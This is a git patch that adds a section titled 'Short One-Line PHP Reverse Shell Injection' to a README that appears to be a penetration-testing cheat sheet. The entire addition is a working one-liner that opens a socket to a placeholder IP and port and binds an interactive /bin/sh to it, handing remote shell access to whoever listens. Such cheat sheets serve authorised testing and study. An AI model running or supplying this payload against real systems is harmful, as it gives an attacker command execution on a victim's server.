From 7f3184d9ef9f311393e00abfea199148e00954b8 Mon Sep 17 00:00:00 2001 From: Phil Date: Sat, 1 Jan 2022 17:57:46 +0000 Subject: [PATCH] Added one-liner php shell --- README.md | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/README.md b/README.md index 8e87700..d9c1604 100644 --- a/README.md +++ b/README.md @@ -327,6 +327,13 @@ function printit ($string) { ?> ``` + +* Short One-Line PHP Reverse Shell Injection +``` +php -r '$sock=fsockopen("IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3");' +``` + + #### Built-in Tools | Program | Command |